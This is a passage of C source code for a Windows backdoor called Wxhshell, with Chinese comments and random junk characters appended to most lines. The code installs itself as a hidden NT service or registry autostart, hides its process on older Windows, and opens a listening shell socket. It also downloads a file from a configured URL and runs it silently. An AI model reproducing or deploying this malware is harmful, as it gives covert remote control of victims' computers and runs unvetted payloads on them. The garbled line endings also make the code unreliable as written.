ULONG InheritedFromUniqueProcessId; vpm ]9>1[
} PROCESS_BASIC_INFORMATION; [d4,gEx`Q\
ORowx,(hX
PROCNTQSIP NtQueryInformationProcess; vWU%ST
Opv1B2
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ':l"mkd+`
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f?%qUD_#
`'p`PyMt`
HANDLE hProcess; e0f":Vct
PROCESS_BASIC_INFORMATION pbi; rDVgk6
J3;Tm~KJ_
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h/I@_?k+
if(NULL == hInst ) return 0; 3`58ah
;>9OgO
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^^G-kg
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .OmQ'
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?k{|Lk
L5Urg*GNL
if (!NtQueryInformationProcess) return 0; -<Jq
4~O6$;!|~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Zc-#;/b3T
if(!hProcess) return 0; GAv)QZyV$
S8O)/Sg=
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9>N\sOh
/61by$E
CloseHandle(hProcess); $^}[g9]1
jip\4{'N
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f
hQy36i@
if(hProcess==NULL) return 0; 'pan9PW
XwcMt r*
HMODULE hMod; MZT6g. ny
char procName[255]; hUVk54~l
unsigned long cbNeeded; "H>.':c"+3
/xcJo g~F,
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eSl]8BX_
9C_*3?6
CloseHandle(hProcess); s=MT,
-b
cG[W3
if(strstr(procName,"services")) return 1; // 以服务启动 \a"i7Caa
<EtUnj:qK8
return 0; // 注册表启动 ]nUR;8
} cTM$ZNin
7_DG 5nT
// 主模块 D!oZ?dGCo6
int StartWxhshell(LPSTR lpCmdLine) i;c'P}[K
{ )s7bJjT0=X
SOCKET wsl; V1<ow'^i
BOOL val=TRUE; %`#G92Z_
int port=0; C\ vC?(n
struct sockaddr_in door; t9.,/o,
j'+ELKQ
if(wscfg.ws_autoins) Install(); P/ci/y_1
D?^540,b
port=atoi(lpCmdLine); ,eDD:#)$}
wX ,h<\7
if(port<=0) port=wscfg.ws_port; Y+g,pX
.(|+oHg<
WSADATA data; BDy5J2<<7l
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tQrS3Hz'nA
.`,F
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /|GT\X4o
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KbAR_T1n
door.sin_family = AF_INET; QC{u|
door.sin_addr.s_addr = inet_addr("127.0.0.1"); |8H_-n
door.sin_port = htons(port); U;g S[8,p
Sk\n;mL:
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4qt+uNe!
closesocket(wsl); IZ*}idlkn/
return 1; 'w(y
J
} ;K_}A4K
}f#_4ACaD
if(listen(wsl,2) == INVALID_SOCKET) { FEF"\O|Q
closesocket(wsl); L}$z/jo
return 1; +{.780|
} n#BvW,6J
Wxhshell(wsl); IU|kNBo
WSACleanup(); 2Z)4(,
,h^r:g
return 0; H?tUCbw
oV9z(!X/
} 03EV%Vc
|jT2W
// 以NT服务方式启动 %x2uP9
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C/G]v*MBQ
{
aG(hs J)
DWORD status = 0; w9f
_b3
DWORD specificError = 0xfffffff; hGI+:Js6
Q".g.k
serviceStatus.dwServiceType = SERVICE_WIN32; =q+R
serviceStatus.dwCurrentState = SERVICE_START_PENDING; BX[~%iE
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; edijfhn
serviceStatus.dwWin32ExitCode = 0; J!hFN]M<<
serviceStatus.dwServiceSpecificExitCode = 0; TQf L%JT
serviceStatus.dwCheckPoint = 0; BC! 6O/kr
serviceStatus.dwWaitHint = 0; U]hF
hv>KX
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZjD)?4
if (hServiceStatusHandle==0) return; '^iUx,,ZQ
nIn2 *r
status = GetLastError(); D`pQ7
if (status!=NO_ERROR) N}b^fTq
{ :"QfF@Z{
serviceStatus.dwCurrentState = SERVICE_STOPPED; NQX>Qh
2
serviceStatus.dwCheckPoint = 0; o0ZBi|U\4
serviceStatus.dwWaitHint = 0; S8" f]5s
serviceStatus.dwWin32ExitCode = status; i%;"[M
serviceStatus.dwServiceSpecificExitCode = specificError; Z/<#n\>t0>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #f{lC0~vA
return;
:+ Jt^
6
} ET:T7
1u~ MXGF
serviceStatus.dwCurrentState = SERVICE_RUNNING; "3fBY\>a
serviceStatus.dwCheckPoint = 0; 5Fbs
WW2
serviceStatus.dwWaitHint = 0; mnjs(x<m
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u5Up&QE!>q
} 2-dh;[4
3K>gz:dt
// 处理NT服务事件,比如:启动、停止 kz B\'m,l
VOID WINAPI NTServiceHandler(DWORD fdwControl) khx.yRx
{ "AC^ rz~U
switch(fdwControl) D!F 2l_
{ d'"r("w#
case SERVICE_CONTROL_STOP: }D*yr3b
serviceStatus.dwWin32ExitCode = 0; 0[xpEiDx
serviceStatus.dwCurrentState = SERVICE_STOPPED; oC*=JJe,
serviceStatus.dwCheckPoint = 0; gL3iw!7
serviceStatus.dwWaitHint = 0; BT,b-=
;J-
{ \X|sU:g
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yNCEz/4
} Eectxyr?;N
return; vXv;1T
case SERVICE_CONTROL_PAUSE: [AS}RV
serviceStatus.dwCurrentState = SERVICE_PAUSED; ]$A(9Pn"
break; ~#PLAP3-
case SERVICE_CONTROL_CONTINUE: kn"q:aD
serviceStatus.dwCurrentState = SERVICE_RUNNING; !'G~k+
break; "Sridh?
case SERVICE_CONTROL_INTERROGATE: $,fy$
Qk,S
break; Xg7|JS!
}; 6N~q`;p0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); AjkW0FB:1
} pOT7;-#n
'cBBt
// 标准应用程序主函数 $s-Y%gc
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PuL<^aJ
{ Z=?aEU$7
S`!-Cal`n
// 获取操作系统版本 -!e7L>w
OsIsNt=GetOsVer(); ZnW@YC#9
GetModuleFileName(NULL,ExeFile,MAX_PATH); W*N$'%
u92^(|
// 从命令行安装 xSMt*]=9
if(strpbrk(lpCmdLine,"iI")) Install(); 5/MKzoB
^D{lPu
3
// 下载执行文件 ^oM|<";!?D
if(wscfg.ws_downexe) { 9'[ N1Un.=
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }ns-W3B'
WinExec(wscfg.ws_filenam,SW_HIDE); (R!hj w~
} ~" i0x
1}%B%*N
if(!OsIsNt) { T{+Z(L
// 如果时win9x,隐藏进程并且设置为注册表启动 B<?wh0
HideProc();
3Ot~!AlR
StartWxhshell(lpCmdLine); RY9V~8|M
} QDx$==Fo
else MGJ.,tK1
if(StartFromService()) P{Lf5V9# <
// 以服务方式启动 eE
GfM0
StartServiceCtrlDispatcher(DispatchTable); TZR)C P5
else (kv?33
// 普通方式启动 f+_h !j
StartWxhshell(lpCmdLine); dG7OqA:9
iB[~U3
return 0; _Q[$CcDEE
}